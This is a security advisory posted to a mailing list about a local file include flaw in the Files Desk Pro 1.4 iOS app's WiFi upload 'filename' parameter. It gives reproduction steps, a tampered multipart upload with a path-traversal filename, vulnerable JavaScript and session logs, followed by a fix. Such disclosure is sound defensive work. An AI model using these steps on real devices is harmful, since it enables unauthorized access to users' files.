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Files Desk Pro v1.4 iOS - File Include Web Vulnerability
- To: bugtraq@xxxxxxxxxxxxxxxxx, bugs@xxxxxxxxxxxxxxxxxxx
- Subject: Files Desk Pro v1.4 iOS - File Include Web Vulnerability
- From: Vulnerability Lab <research@xxxxxxxxxxxxxxxxxxxxx>
- Date: Tue, 03 Jun 2014 12:29:36 +0200
Document Title:
===============
Files Desk Pro v1.4 iOS - File Include Web Vulnerability
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1266
Release Date:
=============
2014-05-16
Vulnerability Laboratory ID (VL-ID):
====================================
1266
Common Vulnerability Scoring System:
====================================
6.7
Product & Service Introduction:
===============================
FileDesk is iPhone/iPad app for managing your files. Read differect kind of
files,Create PDFs with different contents, Make your
documents/files private,Share Your files over WiFi. File Desk - A digital desk
for your files. Manage your Documents/Files With File Desk.
(Copy of the Homepage:
https://itunes.apple.com/ag/app/file-desk-pro-documents-manager/id600550320 )
Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered a local file include web
vulnerability in the official Files Desk Pro v1.4 iOS mobile web-application.
Vulnerability Disclosure Timeline:
==================================
2014-05-16: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
LiveBird Technologies Private Limited
Product: Files Desk Pro & Lite 1.4
Exploitation Technique:
=======================
Local
Severity Level:
===============
High
Technical Details & Description:
================================
A local file include web vulnerability has been discovered in the official
Files Desk Pro v1.4 iOS mobile web-application.
The local file include web vulnerability allows remote attackers to
unauthorized include local file/path requests or system
specific path commands to compromise the mobile web-application.
The web vulnerability is located in the `filename` value of the `upload`
module. Remote attackers are able to inject own files
with malicious `filename` values in the `upload` POST method request to
compromise the mobile web-application. The local file/path
include execution occcurs in the `index file dir` list of the `filesdesk`
manager. The attacker is able to inject the local file
include request by usage of the `wifi interface` or by a local privileged
application user accounts via `file sync`(app).
Remote attackers are also able to exploit the filename validation issue in
combination with persistent injected script codes to
execute different local malicious attacks requests. The attack vector is on the
application-side of the wifi service and the
request method to inject is POST. The security risk of the local file include
web vulnerability is estimated as high with a
cvss (common vulnerability scoring system) count of 6.7.
Exploitation of the local file include web vulnerability requires no user
interaction but a privileged web-application user
account with low user auth. Successful exploitation of the local file include
web vulnerability results in mobile application
or connected device component compromise.
Request Method(s):
[+] [POST] - Remote
[+] [SYNC] - Local
Vulnerable Module(s):
[+] FilesDesk Wifi (UI)
Vulnerable Function(s):
[+] Upload
Vulnerable Parameter(s):
[+] filename
Affected Module(s):
[+] Index File Dir Listing
(http://localhost:8081/)
Proof of Concept (PoC):
=======================
The local file/path include web vulnerability can be exploited local attackers
without privileged application user account and without user interaction.
For security demonstration or to reproduce the security vulnerability follow
the provided information and steps below to continue.
Manual steps to reproduce ...
1. Install the FileDesk mobile application to your iOS device (ipad or iphone)
2. Start the local wifi web-server and share some random files
3. Connect with another remote computer to the local web-server interface url >
web.localhost:8081
4. Start a session tamper and choose a random file to upload
5. Submit the upload form and intercept in the session to change the vulnerable
filename value to a local device file/path
Note: Can also be combined with script codes and html tags
6. Refresh the index and the execution of the malicious request occurs in the
index file dir list (name value)
7. Successful reproduce of the file include web vulnerability!
PoC: FilesDesk Index
<table border="0" cellpadding="0" cellspacing="0">
<thead>
<tr><th>Name</th><th class="del">Delete</th></tr>
</thead>
<tbody id="filelist">
<tr><td><a href="/files/%3C[LOCAL FILE/PATH INCLUDE
VULNERABILITY!].png" class="file"><[LOCAL FILE/PATH INCLUDE
VULNERABILITY!]">.png</a></td><td class='del'><form action='/files/%3C[LOCAL
FILE/PATH INCLUDE VULNERABILITY!].png'
method='post'><input name='_method' value='delete' type='hidden'/><input
name="commit" type="submit" value="Delete" class='button'
/></td></tr></tbody></table></iframe></a></td></tr></tbody>
</table>
Vulnerable Source: Upload Script
<script type="text/javascript" charset="utf-8">
var now = new Date();
$.getJSON("/files?"+ now.toString(),
function(data){
var shadow = false;
$.each(data, function(i,item){
var trclass='';
if (shadow)
trclass= " class='shadow'";
encodeName = encodeURI(item.name).replace("'", "'");
$("<tr" + trclass + "><td><a href='/files/" + encodeName + "'
class='file'>" + item.name + "</a></td>" + "<td
class='del'><form action='/files/" + encodeName + "' method='post'><input
name='_method' value='delete' type='hidden'/><input name=
\"commit\" type=\"submit\" value=\"Delete\" class='button' /></td>" +
"</tr>").appendTo("#filelist");
shadow = !shadow;
});
});
</script>
--- PoC Session Logs [POST] ---
Status: 302[Found]
POST http://192.168.2.104:8081/files Load Flags[LOAD_DOCUMENT_URI
LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[67] Mime Type[text/html]
Request Header:
Host[192.168.2.104:8081]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:29.0) Gecko/20100101
Firefox/29.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Referer[http://192.168.2.104:8081/]
Connection[keep-alive]
POST-Daten:
POST_DATA[-----------------------------147491436412682
Content-Disposition: form-data; name="newfile"; filename="%3C../[LOCAL
FILE/PATH INCLUDE VULNERABILITY!].png"
Content-Type: image/png
Status: 200[OK]
GET http://192.168.2.104:8081/ Load Flags[LOAD_DOCUMENT_URI LOAD_REPLACE
LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[2953] Mime
Type[application/x-unknown-content-type]
Request Header:
Host[192.168.2.104:8081]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:29.0) Gecko/20100101
Firefox/29.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Referer[http://192.168.2.104:8081/]
Connection[keep-alive]
Response Header:
Accept-Ranges[bytes]
Content-Length[2953]
Date[Do., 15 Mai 2014 14:27:35 GMT]
Status: 200[OK]
GET http://192.168.2.104:8081/files?Thu%20May%2015%202014%2016:14:57%20GMT+0200
Load Flags[LOAD_BACKGROUND ] Größe des Inhalts[39] Mime Type[text/plain]
Request Header:
Host[192.168.2.104:8081]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:29.0) Gecko/20100101
Firefox/29.0]
Accept[application/json, text/javascript, */*]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
X-Requested-With[XMLHttpRequest]
Referer[http://192.168.2.104:8081/]
Connection[keep-alive]
Response Header:
Accept-Ranges[bytes]
Content-Length[39]
Cache-Control[private, max-age=0, must-revalidate]
Content-Type[text/plain; charset=utf-8]
Date[Do., 15 Mai 2014 14:27:37 GMT]
Status: 200[OK]
GET http://192.168.2.104:8081/%3C../[LOCAL FILE/PATH INCLUDE VULNERABILITY!]
Load Flags[LOAD_DOCUMENT_URI ] Größe des Inhalts[0] Mime
Type[application/x-unknown-content-type]
Request Header:
Host[192.168.2.104:8081]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:29.0) Gecko/20100101
Firefox/29.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Referer[http://192.168.2.104:8081/]
Connection[keep-alive]
Response Header:
Accept-Ranges[bytes]
Content-Length[0]
Date[Do., 15 Mai 2014 14:27:38 GMT]
Reference(s):
http://web.localhost:8081/[x]
http://web.localhost:8081/files
Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse and encode of the filename
value in the upload POST method request.
Disallow special chars for files and foldernames and restrict the user input.
Encode and parse also the vulnerable name output value.
Security Risk:
==============
The security risk of the local file include web vulnerability in the filename
value is estimated as high(-).
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri
(bkm@xxxxxxxxxxxxxxxxx) [www.vulnerability-lab.com]
Disclaimer & Information:
=========================
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